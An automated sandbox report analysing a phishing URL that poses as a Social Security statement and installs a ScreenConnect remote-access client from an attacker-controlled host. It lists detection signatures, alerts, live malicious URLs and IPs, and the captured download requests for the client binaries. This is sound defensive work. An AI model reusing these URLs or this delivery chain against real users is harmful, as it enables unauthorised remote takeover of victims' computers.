Edit tour

Windows Analysis Report
https://identitys.fraudguard.es/SSA_Updated_Statement

Overview

General Information

Sample URL:	https://identitys.fraudguard.es/SSA_Updated_Statement
Analysis ID:	1561231
Infos:

Detection

ScreenConnect Tool

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

.NET source code references suspicious native API functions

AI detected suspicious URL

Contains functionality to hide user accounts

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Drops PE files

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

Invalid 'forgot password' link found

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file does not import any functions

PE file overlay found

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6080 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

performance_metrics-pdf.Client.exe (PID: 5912 cmdline: "C:\Users\user\Downloads\performance_metrics-pdf.Client.exe" MD5: 23B44C9F64A248BE4F01A1BFD1FE0686)

dfsvc.exe (PID: 1228 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

WerFault.exe (PID: 3728 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 748 MD5: C31336C1EFC2CCB44B4326EA793040F2)

chrome.exe (PID: 6244 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://identitys.fraudguard.es/SSA_Updated_Statement" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 1228	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DestinationIp: 192.168.2.16, DestinationIsIpv6: false, DestinationPort: 49759, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 1228, Protocol: tcp, SourceIp: 217.77.14.110, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

ET MALWARE Possible Windows executable sent when remote host claims to send html content

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:00:38.531456+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49777	TCP
2024-11-22T23:00:40.799680+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49778	TCP
2024-11-22T23:00:48.873594+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49782	TCP
2024-11-22T23:00:51.145297+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49787	TCP
2024-11-22T23:00:56.233847+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49799	TCP
2024-11-22T23:00:59.465726+0100	2009897	1	A Network Trojan was detected	217.77.14.110	443	192.168.2.16	49808	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://identitys.fraudguard.es
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://identitys.fraudguard.es

Source: https://wodbaker.com/Login?Reason=0

HTTP Parser: Number of links: 0

Source: https://wodbaker.com/Login?Reason=0

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_rt_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://wodbaker.com/Login?Reason=0

HTTP Parser: Title: ScreenConnect Remote Support Software does not match URL

Source: https://wodbaker.com/Login?Reason=0

HTTP Parser: Invalid link: Forgot Password?

Source: https://wodbaker.com/Login?Reason=0

HTTP Parser: <input type="password" .../> found

Source: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_rt_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo	HTTP Parser: No favicon
Source: https://identitys.fraudguard.es/SSA_Updated_Statement	HTTP Parser: No favicon
Source: https://identitys.fraudguard.es/SSA_Updated_Statement	HTTP Parser: No favicon
Source: https://identitys.fraudguard.es/SSA_Updated_Statement/	HTTP Parser: No favicon

Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="author".. found
Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="author".. found
Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="author".. found

Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="copyright".. found
Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="copyright".. found
Source: https://wodbaker.com/Login?Reason=0	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.77.14.110:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.77.14.110:443 -> 192.168.2.16:49779 version: TLS 1.2

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: performance_metrics-pdf.Client.exe, 0000000C.00000000.1705193786.000000000002B000.00000002.00000001.01000000.00000006.sdmp, chromecache_133.1.dr, Unconfirmed 182746.crdownload.0.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe.13.dr
Source:	Binary string: mscorlib.pdb source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD33000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Windows.dll.13.dr
Source:	Binary string: System.Deployment.resources.pdbCA source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B6167000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.pdb source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B455F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD33000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Windows.dll.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbI\ source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C082000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Client.dll.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbS_N source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C082000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.Client.dll.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.pdb8 source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B455F000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=bc9a796e-2e89-48ba-9484-932c800a4c34&k=BgIAAACkAABSU0ExAAgAAAEAAQCRGfsKd924pjxFZ918B6raAuzUhh5FRZhLBgw%2bjJvsUYth71ehs3TgTqQM6PaX8eVkNGvUMxXG8Iwo3Yod6K6CobzQt7EZ1AAlkXL%2bYOmS9DFgVHpzbpUxfWLxXMZq%2bQd9sOoPpcLYYxLruC0ToReOWtRBa2ElcElIUaUlpGygd25GSnI9gBPIvT10hqUxGb9KOXyXhmMPqp8G4aAKziDVZc9ssP5Xr3q4ueMlULXSCl55xqO4qcrk7mXl5XCBi8meKGjyhnfBJkvYAuPD%2fCQhUFp%2fXDZu3Z2doFFbLgsflcEbGBkAHXo6m08VI%2bzm9rxMremukCyoqbKO9p7HTfW7&r=&i= HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: wodbaker.comAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: wodbaker.comAccept-Encoding: gzipConnection: Keep-Alive

Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49778
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49777
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49782
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49787
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49799
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 217.77.14.110:443 -> 192.168.2.16:49808

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /SSA_Updated_Statement HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SSA_Updated_Statement HTTP/1.1Host: identitys.fraudguard.esConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4 HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_rt_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/e4025c85ea63/api.js?onload=iQmfw1&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://identitys.fraudguard.essec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8e6c2fe6acef7ce4 HTTP/1.1Host: identitys.fraudguard.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: identitys.fraudguard.esConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://identitys.fraudguard.es/SSA_Updated_StatementAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/e4025c85ea63/api.js?onload=iQmfw1&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1Host: identitys.fraudguard.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e6c301cb8601885&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NaaTFGLBoe8uReC&MD=opLzswZg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
